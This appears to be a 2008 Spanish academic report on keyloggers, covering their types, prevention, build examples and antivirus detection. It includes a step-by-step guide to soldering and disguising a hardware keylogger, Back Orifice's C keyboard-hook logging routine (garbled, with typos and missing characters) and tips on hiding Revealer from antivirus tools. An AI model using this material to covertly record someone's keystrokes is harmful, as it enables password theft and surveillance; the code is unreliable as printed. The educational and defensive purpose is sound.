Está en la página 1de 32

KeyLoggers

Bruno Lpez Lagares Mster en Informtica Seguridad en Sistemas de Informacin 2008

1. ndice
1. ndice _______________________________________________________________________ 2. Definicin ____________________________________________________________________ 2.1 Etimologa _______________________________________________________________ 3. Evolucin ____________________________________________________________________ 4. Tipos________________________________________________________________________ 4.1 Introduccin _____________________________________________________________ 5. Hardware keyloggers ___________________________________________________________ 5.1 Descripcin ______________________________________________________________ 5.2 Tipos ___________________________________________________________________ 5.2.1 Adaptadores ________________________________________________________ 5.2.2 Dispositivos _________________________________________________________ 5.2.3 Teclados keylogger ___________________________________________________ 5.2.4 Hardware keyloggers de acceso remoto (Wireless Keyloggers) _________________ 5.2.5 Wireless keylogger sniffers _____________________________________________ 5.2.6 Keylogger acstico ___________________________________________________ 6. Software keyloggers____________________________________________________________ 6.1 Descripcin ______________________________________________________________ 6.2 Tipos ___________________________________________________________________ 6.2.1 Acceso Local ________________________________________________________ 6.2.1.1 Basados en ncleo ______________________________________________ 6.2.1.2 Hooked ______________________________________________________ 6.2.1.3 Mtodos creativos ______________________________________________ 6.2.2 Acceso Remoto ______________________________________________________ 7. Prevencin y proteccin ________________________________________________________ 7.1 Prevencin y proteccin hardware ____________________________________________ 7.2 Prevencin y proteccin software ____________________________________________ 8. Ejemplos_____________________________________________________________________ 8.1 Ejemplo Hardware ________________________________________________________ 8.1.1 Introduccin ________________________________________________________ 8.1.2 Herramientas y componentes __________________________________________ 8.1.3 Montajes y puesta en marcha __________________________________________ 8.1.4 Modo registro _______________________________________________________ 8.1.5 Modo playback ______________________________________________________ 8.1.6 Anlisis de datos _____________________________________________________ 8.2 Ejemplos Software ________________________________________________________ 8.2.1 Cdigo Keylogging en C________________________________________________ 8.2.2 Revealer Keylogger ___________________________________________________ 9. Deteccin de keyloggers ________________________________________________________ 9.1 Defensa proactiva _________________________________________________________ 9.2 Bloqueo de instalacin de una rutina de procesamiento de interrupcin ______________ 9.3 Bloqueo de solicitudes cclicas sobre el estado del teclado _________________________ 9.4 Deteccin de procesos ocultos en el registro de pulsaciones de teclado ______________ 10. Casos reales __________________________________________________________________ 11. Bibliografa ___________________________________________________________________ 1 2 2 3 4 4 5 5 6 6 6 6 6 7 7 8 8 9 9 9 9 9 9 10 10 11 14 14 14 14 15 16 17 18 19 19 21 22 25 26 27 28 29 31

2. Definicin
Un keylogger es un tipo de software de vigilancia (considerado tanto software como spyware) que tiene la capacidad de registrar en un log (por lo general cifrado) cada pulsacin de teclado. Un keylogger puede registrar mensajes instantneamente, correo electrnico, y cualquier informacin escrita en cualquier momento durante la utilizacin del teclado. El archivo de log creado por el keylogger puede ser enviado a un receptor especificado. Algunos programas keylogger tambin registran cualquier direccin de correo electrnico usada y las URLs que se visitan [WEBO08]. Los keyloggers, como un instrumento de vigilancia, son usados a menudo por jefes que se quieren asegurar de que los ordenadores son utilizados por los empleados nicamente con motivo laboral. Lamentablemente, los keyloggers tambin pueden ser integrados en spyware permitiendo que su informacin pueda ser transmitida a un tercero desconocido. El registro de lo que se teclea se puede hacer mediante hardware o software. Los sistemas comerciales disponibles incluyen dispositivos que se pueden conectar al cable del teclado (esto lo hace inmediato, aunque visible) o directamente al teclado (esto lo hace invisible, aunque requiere conocer como soldarlo). Escribir aplicaciones para realizar keylogging es trivial, y como cualquier programa actual, puede ser distribuido mediante un troyano o como parte de un virus. Se dice que existen soluciones para evitar esto, como pueden ser los teclados virtuales, ya que slo requieren clics de ratn, sin embargo, ms adelante veremos que las aplicaciones actuales registran tambin screenshots que anulan la seguridad de esta medida. Cabe decir que esto podra ser falso ya que los eventos de mensajes del teclado deben ser enviados al programa externo para que se escriba el texto, por lo que cualquier keylogger podra registrar el texto escrito mediante un teclado virtual [WIKI08a].

2.1 Etimologa
No es difcil adivinar que la palabra Keylogger, proviene de los trminos ingleses Key, que significa tecla, y Logger que se podra traducir por registrador o grabador
[VIRA08].

3. Evolucin
El hecho de que los ciberdelincuentes opten por los keyloggers de manera tan recurrente est confirmado por las compaas de seguridad informtica [INVI08] [VIRL08]. Uno de los recientes informes de VeriSign subraya que en los ltimos aos la compaa ha notado un rpido crecimiento del nmero de programas maliciosos que incluyen la funcionalidad de keylogging.

Imagen: Crecimiento los programas con funciones keylogging maliciosas [VERI08]

En uno de sus informes, Symantec seala que alrededor del 50 por ciento de los programas detectados por los analistas de la compaa durante el ao pasado no representan una amenaza directa para los ordenadores, sino que en todo caso son utilizados por ciberdelincuentes para capturar datos personales del usuario. Segn una investigacin realizada por John Bambenek, analista del instituto SANS, slo en los Estados Unidos unos diez millones de ordenadores estn actualmente infectados con algn programa malicioso que contiene una funcin de keylogger. Combinando estas cifras con el nmero total de usuarios estadounidenses de sistemas de pago online, se estima que las posibles prdidas asciendan a unos 24,3 millones de dlares. Por su parte, Kaspersky Lab de manera constante detecta nuevos programas maliciosos que contienen una funcin de keylogger. Una de las primeras advertencias fue publicada el 15 de junio de 2001 en www.viruslist.com, el sitio Internet de Kaspersky Lab dedicado a proporcionar informacin sobre programas maliciosos. Dicha advertencia se relacionaba a TROJ_LATINUS.SVR, un troyano con una funcin de keylogger. Desde entonces, ha habido un constante flujo de nuevos keyloggers y de nuevas modificaciones. La base de datos antivirus de Kaspersky Lab cuenta con registros de ms de 300 familias de keyloggers. Este nmero no incluye a los keyloggers que son parte de complejos programas maliciosos en los cuales la funcin espa no es la primordial. La mayora de los modernos programas maliciosos estn constituidos por hbridos que utilizan diferentes tecnologas. Debido a ello, cualquier categora de programa malicioso podra incluir programas con funciones o subfunciones de keyloggers.

4. Tipos 4.1 Introduccin


Se podran hacer diversas clasificaciones teniendo en cuenta diferentes aspectos, en este caso se ha optado por la siguiente clasificacin: Hardware Keyloggers: En este apartado incluiremos aquellos dispositivos fsicos que se encargan de detectar las ya mencionadas pulsaciones de teclado.

Software Keyloggers: En ellos incluiremos aquellas aplicaciones que nos permitan registrar las pulsaciones de teclado (y/o ratn), sin mayor necesidad que la de la instalacin de un software en el computador.

5. Hardware keyloggers 5.1 Descripcin


Los keyloggers hardware se enchufan entre el ordenador y el teclado y registran la actividad de ste en la memoria interna. Normalmente son diseados con un aspecto inofensivo que armoniza con el resto del hardware para no ser detectados. Por ejemplo, uno de los diseos para disimular este dispositivo, sera asemejarlo a un balun (Dispositivo adaptador de impedancias que convierte las lneas de transmisin simtricas en asimtricas, y viceversa) [WIKI08c].

Imagen: Balun NT602

Los keylogger hardware estn diseados para trabajar con teclados PS/2, y ms recientemente con teclados USB. Estos dispositivos tienen una ventaja de gran importancia sobre la versin software. Esta ventaja, consiste en que la versin software empieza a loggear desde que arranca el sistema operativo (y arranca dicho software), mientras que la versin hardware empieza a registrar desde el momento en que se enciente el ordenador. Puede parecer que esto no es importante, pero la verdad es que sugiere una mejora importante, ya que la versin hardware es capaz de recoger la contrasea de la BIOS, por ejemplo, sin la necesidad de haber preinstalado un software. La recuperacin de los datos registrados por estos dispositivos, se realiza mediante la extraccin del hardware keylogger y cambiar su modo registro a modo monitor (normalmente tienen un botn de cambio de modo).

5.2 Tipos
Dentro de la versin hardware vamos a distinguir varios tipos [WIKI08b]: 5.2.1 Adaptadores: Se enchufan en el conector del teclado, tienen la ventaja de poder ser instalados inmediatamente. Tienen la desventaja de que con una rpida revisin visual, pueden ser detectados.

Imagen: Adaptador Hardware keylogger instalado

5.2.2 Dispositivos: Se pueden instalar dentro de los teclados estndar, tiene el inconveniente de que requieren habilidad para soldar y la necesidad de tener el acceso al teclado que modificar. Tiene la ventaja de que son indetectables a menos que se abra el cuerpo del teclado. 5.2.3 Teclados keylogger: Estos teclados estn previamente preparados, con el keylogger ya integrado. Son virtualmente imperceptibles, a menos que sean buscados especficamente. 5.2.4 Hardware keyloggers de acceso remoto (Wireless Keyloggers): Proporcionan la misma funcin solo que tienen la habilidad de ser monitorizados y controlados mediante una comunicacin wireless estndar.

Imagen: Keymon Wireless Keylogger

5.2.5 Wireless keylogger sniffers: Estos keyloggers recepcionan paquetes de datos transferidos entre un teclado inalmbrico y el receptor, y despus intentan descifrar la clave de seguridad de la comunicacin entre ambos.

Imagen: Logisteam Keylogger [LOGI08]

5.2.6 Keylogger acstico: Este concepto est basado en el anlisis de una grabacin del sonido creado por alguien tecleando en el ordenador. Cada carcter del teclado realiza un sonido ligeramente diferente al resto al ser pulsado. Usando mtodos estadsticos similares a los empleados en el desciframiento, es posible identificar que patrn de pulsacin est relacionado con que carcter del teclado. Esto se realiza analizando la frecuencia de repeticin de patrones de pulsacin con acsticas similares, los engranajes de distribucin entre pulsaciones de teclado diferentes y otra informacin de contexto como la lengua probable en la cual el usuario escribe. Como en el desciframiento, requieren una grabacin bastante larga (1000 o ms pulsaciones) de modo que la estadstica sea significativa.

6. Software keyloggers 6.1 Descripcin


La mayora de las fuentes consultadas definen keylogger como un programa diseado para, en secreto, monitorear y registrar cada pulsacin del teclado [INVI08]. Los programas legtimos pueden tener una funcin de keylogger que se puede utilizar (y a menudo se utiliza), para iniciar ciertos programas mediante combinaciones de teclas (hotkeys o para cambiar la distribucin del teclado). Se encuentran disponibles un gran nmero de programas que permiten a los administradores rastrear las actividades diarias de los empleados en sus ordenadores, o que permiten a los usuarios hacer lo mismo respecto a las actividades de terceros. Sin embargo, el lmite tico entre el monitoreo justificado y el espionaje delincuencial suele ser muy tenue. Sucede que a menudo los programas legtimos son utilizados de manera deliberada para robar informacin confidencial del usuario, como por ejemplo sus contraseas. Adems, cualquier programa keylogger legtimo siempre puede ser utilizado con intenciones maliciosas o delincuenciales. Hoy en da los keyloggers se usan principalmente para robar informacin relacionada a varios sistemas de pago online. Asimismo, muchos keyloggers se esconden en el sistema, por ejemplo, camuflndose como rootkits, lo cual los convierte en programas troyanos completamente furtivos.

6.2 Tipos
De forma contraria a las creencias comunes, un keylogger software es simple de escribir teniendo conocimientos en programacin en C o en C++ y conocimiento de las API proporcionadas por el sistema operativo del objetivo. Los keyloggers del software se clasifican en las categoras siguientes: 6.2.1 Acceso Local [SECU08]: 6.2.1.1 Basados en ncleo: Este mtodo es el ms difcil de escribir, y combatir. Estos keyloggers residen a nivel del ncleo y por tanto son prcticamente invisibles. Acceden al ncleo del sistema operativo y tienen casi siempre acceso autorizado al hardware , lo que los hace de gran alcance. Un keylogger que utiliza este mtodo puede actuar como driver del teclado por ejemplo, y accede as a cualquier informacin mecanografiada en el teclado mientras que va al sistema operativo. 6.2.1.2 Hooked: Estos keyloggers se vinculan al teclado con las funciones proporcionadas por el sistema operativo. El sistema operativo los activa en cualquier momento en que se presiona una tecla y realiza el registro. 6.2.1.3 Mtodos creativos: Aqu el programador utiliza funciones como GetAsyncKeyState, GetForegroundWindow, etc. stos son los ms fciles de escribir, pero como requieren comprobar el estado de cada tecla varias veces por segundo, pueden causar un aumento sensible en el uso de la CPU y pueden ocasionalmente dejar sin registrar algunas pulsaciones.

6.2.2 Acceso Remoto: Se utiliza el software local programado con una caracterstica aadida para transmitir los datos registrados en el ordenador objetivo y sita los datos disponibles en una ubicacin remota. La comunicacin remota es facilitada por uno de estos cuatro mtodos [WIKI08b]: 1. Los datos son cargados a un sitio web o una cuenta de ftp. 2. Los datos de vez en cuando son enviados por correo electrnico a una direccin de correo electrnico predefinida. 3. Los datos son transmitidos a travs una conexin wireless mediante un sistema de hardware conectado. 4. Se accede a travs de Ethernet o internet a los datos, en el ordenador del objetivo.

7. Prevencin y Proteccin 7.1 Prevencin y proteccin hardware


La prohibicin del acceso fsico a los ordenadores ms sensibles, por ejemplo cerrando el cuarto de servidores, es el mtodo ms eficaz para prevenir la instalacin del hardware keylogger. La inspeccin visual es el medio principal para descubrir los hardware keyloggers, ya que no se conoce ningn mtodo para su descubrimiento mediante software. En casos en los cuales el ordenador no est a la vista (por ejemplo en algunos lugares de acceso pblico donde el ordenador est en una caja cerrada y slo se puede ver el monitor, el teclado, y el ratn), un usuario podra engaar al keylogger escribiendo nicamente parte de la contrasea, despus usando el ratn para moverse a un editor de textos u otra ventana, escribiendo texto basura, y despus volviendo de nuevo a la ventana de login, escribiendo la siguiente parte de la contrasea, etc., de modo que el keylogger registre una mezcla ininteligible de basura y la contrasea real [CODI06]. El riesgo principal asociado al empleo de keyloggers hardware reside en que se necesita un acceso fsico dos veces: al instalar el keylogger y al recuperarlo. Debido a esto, si la vctima descubre el keylogger, ste puede intentar sorprender al atacante mediante, por ejemplo, poner una cmara de vigilancia para saber quien intenta recuperar el keylogger, o incluso si el keylogger ya ha sido recuperado podemos controlar quien se ha loggeado con nuestras contraseas [WIKI08c].

10

7.2 Prevencin y proteccin software


La mayora de las compaas antivirus ya han aadido descripciones de conocidos keyloggers a sus bases de datos, volviendo as la proteccin contra los keyloggers similar a la proteccin contra otros tipos de programas maliciosos: instalan un producto antivirus y mantienen actualizada su base de datos. Sin embargo, debido a que la mayora de los productos antivirus clasifican a los keyloggers como potenciales programas maliciosos, los usuarios deberan asegurarse de que su producto antivirus detecte, con la configuracin por defecto, este tipo de malware. Si no sucede as, el producto debera ser configurado apropiadamente para garantizar una proteccin contra los keyloggers comunes [INVI08] [VIRL08]. Puesto que el principal objetivo de los keyloggers es capturar informacin confidencial (nmeros de tarjetas bancarias, contraseas, etc.) las formas ms lgicas de protegerse contra keyloggers desconocidos son las siguientes: 1. Usando contraseas vlidas por una sola vez o un proceso de autenticacin de dos pasos, 2. Usando un sistema con proteccin proactiva diseada para detectar programas keyloggers, 3. Usando un teclado virtual. El uso de contraseas vlidas por una sola vez ayuda a minimizar las prdidas si la contrasea ingresada es interceptada, ya que la contrasea generada puede ser utilizada una sola vez, y el periodo de tiempo durante el cual puede ser utilizada es limitado. Incluso si se llega a interceptar una contrasea de uso nico, el ciberdelincuente no podr usarla para obtener acceso a informacin confidencial. Para obtener contraseas de uso nico, se puede recurrir a mecanismos especiales como: Una llave USB (tal como Aladdin eToken NG OTP):

Una calculadora (tal como RSA SecurID 900 Signing Token):

11

Para generar contraseas vlidas por una sola vez, tambin es posible utilizar sistemas de textos de telfonos mviles que estn registrados en el sistema bancario y reciban un cdigo PIN como repuesta. Posteriormente se utiliza el PIN junto al cdigo personal para lograr la autenticacin. Si se usa alguno de los mecanismos arriba descritos para generar contraseas, el procedimiento a seguir se describe a continuacin: 1. El usuario se conecta a Internet y abre una ventana de dilogo en la cual se puede ingresar los datos personales; 2. Luego, pulsa un botn en el mecanismo para generar una contrasea de uso nico, la cual aparecer en la pantalla LCD del dispositivo durante 15 segundos; 3. Ingresa su nombre de usuario, su cdigo PIN personal y la contrasea de uso nico generada en la ventana de dilogo (por lo general el cdigo PIN y la clave son ingresados uno despus del otro en un solo campo para cdigos); 4. Los cdigos ingresados son verificados por el servidor y se toma una decisin sobre si el usuario puede o no obtener acceso a informacin confidencial. Cuando se usa un mecanismo calculador para generar una contrasea, el usuario ingresa su cdigo PIN en el mecanismo de teclado y pulsa el botn ">". Los generadores de contraseas de uso nico son ampliamente usados por sistemas bancarios en Europa, Asia, los Estados Unidos y Australia. Por ejemplo, el importante banco Lloyds, decidi usar generadores de contraseas nicas ya en noviembre de 2005. Sin embargo, en este caso, el banco tiene que gastar considerables sumas de dinero ya que debe adquirir y distribuir generadores de contraseas a sus clientes, adems de desarrollar o comprar el software complementario. Un ejemplo ms cercano, sera el caso de Caixa Galicia, que permite el uso de Token para generacin de contraseas de acceso nico.

Imagen: Token de Caixa Galicia [CAIX08]

Una solucin con un costo ms eficiente es la proteccin proactiva por parte de los clientes de los bancos (proveedores, etc.), capaces de advertir al usuario en caso de un intento de instalar o ejecutar programas keyloggers.

12

Imagen: Proteccin proactiva contra keyloggers en Kaspersky Internet Security

El principal problema de la proteccin proactiva es que el usuario est activamente implicado y tiene que decidir las acciones a tomar. Si el usuario no tiene mucho conocimiento tcnico, puede tomar una decisin equivocada, lo cual resultara en que el keylogger engae a la solucin antivirus y penetre en el sistema. Sin embargo, si los desarrolladores minimizan la participacin del usuario, entonces los keyloggers podran evadir la deteccin debido a una poltica de seguridad insuficientemente estricta. Por otra parte, si la configuracin es demasiado estricta, entonces otros programas tiles que contienen funciones de keylogging legtimas pueden resultar bloqueados. El mtodo final para protegerse contra los programas y los dispositivos keyloggers es el uso de un teclado virtual. Un teclado virtual es un programa que muestra un teclado en la pantalla y las teclas pueden ser pulsadas mediante el ratn. La idea de un teclado en la pantalla no es nada nuevo. El sistema operativo Windows tiene incorporado un teclado en la pantalla que puede ser activado de la siguiente manera: Inicio > Programas > Accessorios > Accessibilidad > Teclado en pantalla.

Imagen: Teclado en pantalla de Windows

Sin embargo, los teclados en pantalla no son un mtodo muy comn para neutralizar los keyloggers. No fueron diseados para protegerse contra amenazas cibernticas, sino como una herramienta de accesibilidad para usuarios discapacitados. La informacin ingresada mediante el teclado en pantalla puede ser interceptada con facilidad por algn programa malicioso. Para que este teclado en pantalla pueda ser utilizado contra los keyloggers tiene que estar especialmente diseado para poder asegurar que la informacin ingresada o transmitida por este medio no sea interceptada.

13

8. Ejemplos 8.1 Ejemplo Hardware Como crear un Keylogger por Hardware Open Source DIY
8.1.1 Introduccin KeeLog ha decidido publicar la versin anterior de su familia de keylogger por hardware, facilitando la versin completa de firmware y el cdigo fuente del software, los esquemas elctricos y la documentacin. Este keylogger PS/2 es un dispositivo 100% operativo y probado, instalado y utilizado por cientos de personas en todo el mundo. Para registrar y analizar los datos de las pulsaciones de teclas se proporciona la aplicacin KeyGrab [KEEL08]. 8.1.2 Herramientas y componentes Estas son todas las herramientas y habilidades necesarias para realizar el proyecto de Keylogger por Hardware Open Source: Habilidades: Experiencia bsica en hardware electrnico Estaador para circuitos integrados Programador de microcontroladores (compatible con la familia Atmel AT89CXX51) Componentes: Microcontrolador Atmel AT89C2051 (o AT89C1051, AT89C4051) Memoria EEPROM tipo AT24C512 (o compatible) Cuarzo 12 MHz 2x condensador 33p Condensador 10 uF Resistencia 10 k Pulsador pequeo Tambin es necesaria una proteccin para el keylogger. Una buena idea sera comprar un cable de extensin PS/2 y un trozo de tubo termorretrctil de unos 10 centmetros. Este tubo se contraer con el calor, cubriendo el keylogger.

14

8.1.3 Montaje y puesta en marcha Se empezar por programar el firmware del microcontrolador. Lance la aplicacin del programador, seleccione el microcontrolador AT89C2051 y cargue el programa utilizando el cdigo en la versin binaria o en la versin hex. Tambin se puede recompilar la fuente utilizando el cdigo fuente y un compilador 8051. El estaado es probablemente la parte ms difcil del proyecto, dado que el keylogger por hardware debera ser lo ms pequeo posible. En el esquema elctrico abajo se puede ver cmo deben quedar las conexiones entre los componentes del keylogger por hardware.

Estae los componentes empezando por el microcontrolador y la memoria EEPROM. Se puede eliminar los pins que no se utilicen. Asegrese de que haya acceso al pulsador. Al montar los condensadores compruebe si estn polarizados correctamente. Intente hacer el dispositivo lo ms compacto posible, sin embargo, tenga cuidado en evitar los cortocircuitos, ya que una vez montado el dispositivo stos sern difciles de eliminar. Despus de estaar los componentes principales el keylogger debera ser parecido al prototipo en la foto. Al final proceda a estaar los conectores PS/2 al keylogger. Es una buena idea cortar un cable de extensin PS/2 en dos y estaar cada parte por separado. Recuerde situar el tubo termorretrctil en una parte del cable. Conecte los cuatro pins de PS/2 utilizados (CLK, DATA, VCC y GND) a ambos conectores (el del teclado y el del ordenador).

15

Antes de cubrir el keylogger con el tubo termorretrctil es una buena idea aplicar un poco de cola o resina entre los componentes para darle ms rigidez al dispositivo. Finalmente site el tubo termorretrctil en los componentes estaados y calintelo para que cubra bien los componentes. Corte un orificio pequeo para asegurar acceso al pulsador.

Imagen: Estado final del keylogger

8.1.4 Modo registro El keylogger por hardware empezar a registrar las pulsaciones de teclas una vez enchufado entre el ordenador y el teclado. El keylogger no influye de ninguna forma en el funcionamiento del ordenador y no puede ser detectado por software. Todos los datos de las pulsaciones de teclas mandados por el teclado sern grabados en la memoria no voltil EEPROM de 64 kB. El modo de registro es totalmente independiente del sistema operativo instalado en el ordenador. Pasos: Localice el conector PS/2 de teclado en el ordenador.

Desenchufe el teclado.

Conecte el keylogger por hardware en el lugar del teclado.

Conecte el teclado al keylogger. El registro de datos empezar en el momento en el que se ponga el ordenador en marcha.

16

8.1.5 Modo playback Una vez los datos del teclado han sido grabados en el modo de registro, se pueden reproducir en cualquier PC que utilice el sistema operativo Windows 9X/Me/XP/2000. Los datos de las pulsaciones del teclado que se transmiten son capturados por la aplicacin KeyGrab. Una vez transmitidos al ordenador, estos datos podrn ser procesados y analizados. Para iniciar la descarga de datos siga las instrucciones a continuacin. Lance la aplicacin KeyGrab.

Conecte el keylogger por hardware en el lugar del teclado. No conecte el teclado.

Haga click en la barra de ttulo de la aplicacin KeyGrab para activarla.

Presione el pulsador del keylogger para iniciar la descarga de datos. Durante la transmisin no cambie la aplicacin activa. Vuelva a presionar el pulsador para terminar la transmisin cuando los datos deseados hayan sido transferidos al PC. Desconecte el keylogger por hardware y vuelva a conectar el teclado PS/2.

17

8.1.6 Anlisis de datos Durante la descarga de datos a la tabla principal de la aplicacin KeyGrab, estos datos son automticamente procesados para mostrar las teclas presionadas durante el registro. Los datos se transmiten en el orden inverso, para que las teclas presionadas ms recientemente aparezcan como primeras. Los datos sobre las pulsaciones de teclas de hace mucho tiempo sern mostrados como ltimos. La tabla se puede analizar manualmente o utilizando las opciones de bsqueda.

1 2 3 4 5 6

Posicin del dato en la memoria hardware del keylogger (formato hex). Pulsacin de tecla registrada y guardada. Incidencia - pulsacin o liberacin de tecla. Scan code de pulsacin de tecla en el bus PS/2 (formato hex). ltima posicin grabada durante el registro en la memoria (formato hex). Tamao de la memoria hardware del keylogger (en kilobits).

Las nicas columnas que pueden ser de inters para el usuario son la Tecla (2) y la Accin (3). Estas columnas codifican qu teclas han sido presionadas y liberadas. Utiliza la barra de desplazamiento para ver la historia de teclas presionadas en el modo de registro. Los datos del keylogger se transmiten en el orden inverso (las teclas presionadas ltimamente aparecern como primeras).

18

8.2 Ejemplos Software


8.2.1 Cdigo keylogging en C A continuacin se muestra el cdigo que utiliza un conocido troyano, como es el Back Orifice (en su versin del 2000) para realizar una de sus funciones ms destacadas, como es la de keylogging [PICO04]. Para mostrar la traza de las teclas pulsadas, utiliza la funcin JournalLogProg; y desde sta se apoya en las funciones: GetActiveWindow, GetWindowText, GetKeyNameText, y GetKeyboardState para saber lo que est tecleando el usuario.

LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam){ if (code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam); if (code==HC_ACTION){ EVENTMSG *pEvt=(EVENTMSG *)lParam; if(pEvt->message==WM_KEYDOWN{ DWORD dwCount, dwBytes; char svBuffer[256]; int vKey, nScan; vKey=LOBYTE(pEvt->paramL); nScan=HIBYTE(pEvt->paramL); nScan<<=16; // Check to see if focus has changed HWND hFocus=GetActiveWindow(); if (g_LastFocus!=hFocus){ char svTitle[256]; int nCount; nCount=GetWindowText(hFocus,svTitle,256); if (nCount>0){ char svBuffer[512]; wsprintf(svBuffer, \r\n-----[ %s ]-----\r\n, svTitle); WriteFile(g_hCapFile,svBufffer,lstrlen(svBuffer),&dwBytes,NULL); } g_hLastFocus=hFocus; } // Write out key dwCount=GetKeyNameText(nScan,svBuffer,256); if (dwCount){ if (vKey==VK_SPACE){ svBuffer[0]= ; svBuffer[1]= \0; dwCount=1; }

19

if (dwCount==1){ BYTE kbuf[256]; WORD ch; int chcount; GetKeyboardState(kbuf); chcount=ToAscii(vKey,nScan,kbuf,&ch,0); if (chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL); } else{ WriteFile(g_hCapFile, [ ,1,&dwBytes,NULL); WriteFile(g_hCapFile,swBuffer,dwCount,&dwBytes,NULL); WriteFile(g_hCapFile, ] ,1,&dwBytes,NULL); if (vKey==VK_RETURN) WriteFile(g_hCapFile, \r\n,2,&dwBytes,NULL); } } } return CallNextHookEx(g_hLogHook,code,wParam,lParam);

20

8.2.2 Revealer Keylogger Revealer es una aplicacin de las denominadas keyloggers, es decir, una herramienta capaz de grabar todas las pulsaciones que se realicen en el teclado, guardando toda la informacin introducida en cualquier programa o ventana de Windows. Este software est disponible tanto en una versin gratuita (Free edition), como en una versin profesional (Pro edition) que se puede adquirir por 24.90 [LOGI08b]. Cuenta con una interfaz de diseo muy sencillo en la que se puede ver toda la informacin recogida por el programa, organizada por das. Esta informacin adems se puede exportar a ficheros TXT. Es posible ejecutar Revealer en modo semi-oculto y proteger el acceso a su interfaz mediante una contrasea. Revealer no requiere instalacin, solo es necesario esconder la carpeta donde se quiera y listo. Es posible, tambin, poner la carpeta en modo oculto en cualquier particin y adems se inicia automticamente al encender el ordenador. As mismo, es posible cambiarle el nombre al ejecutable para ocultarlo an ms en el administrador de tareas y as confundirlo con procesos del sistema, por lo que la mayora de los antivirus no lo detectan. Diferencias entre la versin Free y la versin Pro Caractersticas Registra todas las pulsaciones de teclado Proteccin por contrasea Ventana invisible Invisible en Adicin/Supresin de programas Invisible en la lista de los procesos Invisible en el arranque de Windows Invisible en el disco Envo los ficheros log mediante correo electrnico Envo los ficheros log mediante red local Free edition Pro edition

Imgenes: Screenshots del Revealer Keylogger [LOGI08b]

21

9. Deteccin de keyloggers
La deteccin de keyloggers no es una tarea sencilla. Si el keylogger es un adaptador fsico y la conexin teclado-ordenador est visible, basta comprobar dicha conexin en busca del keylogger; si por el contrario la conexin no est visible o no detectamos a simple vista ningn keylogger fsico, deberemos entonces utilizar un software que nos ayude en la bsqueda del mismo (tanto sea un dispositivo fsico como software) [KASP08]. A continuacin se muestran diferentes mtodos utilizados por el software (en este caso se utiliza Karspersky Internet Security, y como keylogger Spy Lantern) para la deteccin de keyloggers:

9.1 Deteccin mediante las bases de datos de signaturas


Debido a que ciertas funciones de keylogging pueden tener fines legtimos, estas firmas est clasificadas dentro de la categora de programas potencialmente peligrosos (y no directamente clasificados como problemas). La funcin de deteccin de los programas que aparecen en esta categora no se activa por defecto tras la instalacin del programa keylogger, sino que se realiza mediante la ventana de configuracin, en la rbrica Proteccin, seleccionando la casilla Programas potencialmente peligrosos.

22

Si la opcin de deteccin de programas potencialmente peligrosos se activa, la ventana Archivos Antivirus mostrar una advertencia parecida a la que aparece al instalarse el keylogger:

El funcionamiento del keylogger queda bloqueado y el usuario tiene la posibilidad de eliminar el archivo instalado activando el botn respectivo. Si el usuario autoriza la instalacin, el ordenador se reiniciar tras la instalacin del keylogger, el cual comenzar a trabajar en modo encubierto. An en este modo, KIS 6.0 es capaz de identificarlo y neutralizarlo. Segn la configuracin predeterminada, KIS 6.0 inicia la bsqueda de virus en los objetos de inicio mediante un mtodo especial de enumeracin de los objetos en el sistema. Este mtodo permite detectar documentos ocultos de Spy Lantern Keylogger (en este caso, los documentos con el prefijo "ketaf") que resultan ser invisibles para otras aplicaciones del sistema operativo.

Esto origina la aparicin de una ventana de dilogo idntica a la precedente. Si el usuario decide eliminar el keylogger, tomando en cuenta que el proceso del keylogger est en plena actividad, e incluso encubierto gracias a su herramienta de encubrimiento de actividades, KIS 6.0 propone lanzar un procedimiento de reparacin de la infeccin activa.

23

El procedimiento de reparacin de la infeccin se activa cada vez que KIS 6.0 detecta un proceso malicioso en la memoria RAM o en los objetos de inicio. Este procedimiento elimina el keylogger y requiere reiniciar la computadora (obligatorio para prevenir que el cdigo malicioso activo tenga la posibilidad de incrustarse en la computadora del usuario). Si el usuario adopta el procedimiento de reparacin de la infeccin activa, tras el reinicio del equipo los documentos del keylogger, sern visibles para todos los procesos del sistema.

Por analoga con los archivos del keylogger, si el usuario adopta el procedimiento de reparacin de la infeccin activa tras el reinicio del equipo todos los procesos del keylogger (ketaf.exe y ketafl.exe) sern visibles al usuario, tal como se ilustra en la ventana de Administracin de Tareas de Windows:

24

9.2 Defensa proactiva


La defensa proactiva se diferencia de la deteccin basada en la base de datos de signaturas (reactiva) por el hecho de que el usuario no necesita esperar por las actualizaciones de la base de nuevas amenazas desde los servidores. El mdulo de defensa proactiva protege al usuario contra las nuevas amenazas y contra las nuevas variantes de los programas maliciosos sin necesidad de actualizar las bases de datos, porque funciona bajo el principio de la monitorizacin continua de actividades en todos los procesos en el sistema del usuario. Los veredictos (peligroso, sospechoso, etc.) son dictados en base al anlisis de dichas actividades. Los parmetros del subsistema Anlisis de actividades en las aplicaciones del mdulo de defensa proactiva ofrecen tres opciones que influyen en la proteccin contra keyloggers y las herramientas de encubrimiento de actividades deteccin de herramientas de encubrimiento de actividades, intromisin de interceptores en la ventana y deteccin de interceptores de pulsaciones:

Ahora vamos a ver cmo el mdulo de defensa proactiva puede neutralizar las acciones de Spy Lantern Keylogger.

25

9.3 Bloqueo de intentos de instalacin de una rutina de procesamiento de interrupcin


El principal mtodo utilizado por Spy Lantern Keylogger para interceptar las pulsaciones en el teclado es la instalacin de una rutina de captura de las actividades del el teclado mediante la funcin Set Windows Hook. El mdulo de defensa proactiva advierte al usuario de la instalacin de una rutina de captura y permite detener el funcionamiento del keylogger, autorizar o prohibir la instalacin de tal rutina mediante la pulsacin de los respectivos botones.

En el caso del mtodo de captura de las pulsaciones en el teclado mediante la instalacin de una rutina de captura (hook), el sistema recurre a una funcin especial de filtrado situada en una biblioteca dinmica (dll) distinta. El nombre de la dll se genera de manera aleatoria con cada instalacin del keylogger (en nuestro caso se trata de ketafh.dll):

Si el usuario no consiente la instalacin de la rutina de captura de las actividades del teclado, no se registrar ninguna pulsacin en los informes del keylogger. Si el usuario suspende el proceso del keylogger, cuando se intente abrir la ventana de configuracin o la de los informes del keylogger, se visualizar el siguiente mensaje de error:

26

9.4 Bloqueo de intentos de solicitudes cclicas sobre el estado del teclado


Otro mtodo para detectar las pulsaciones en el teclado son las solicitudes cclicas sobre el estado del teclado mediante la funcin Get Async Key State.

27

9.5 Deteccin de procesos ocultos en el programa de registro de pulsaciones del teclado


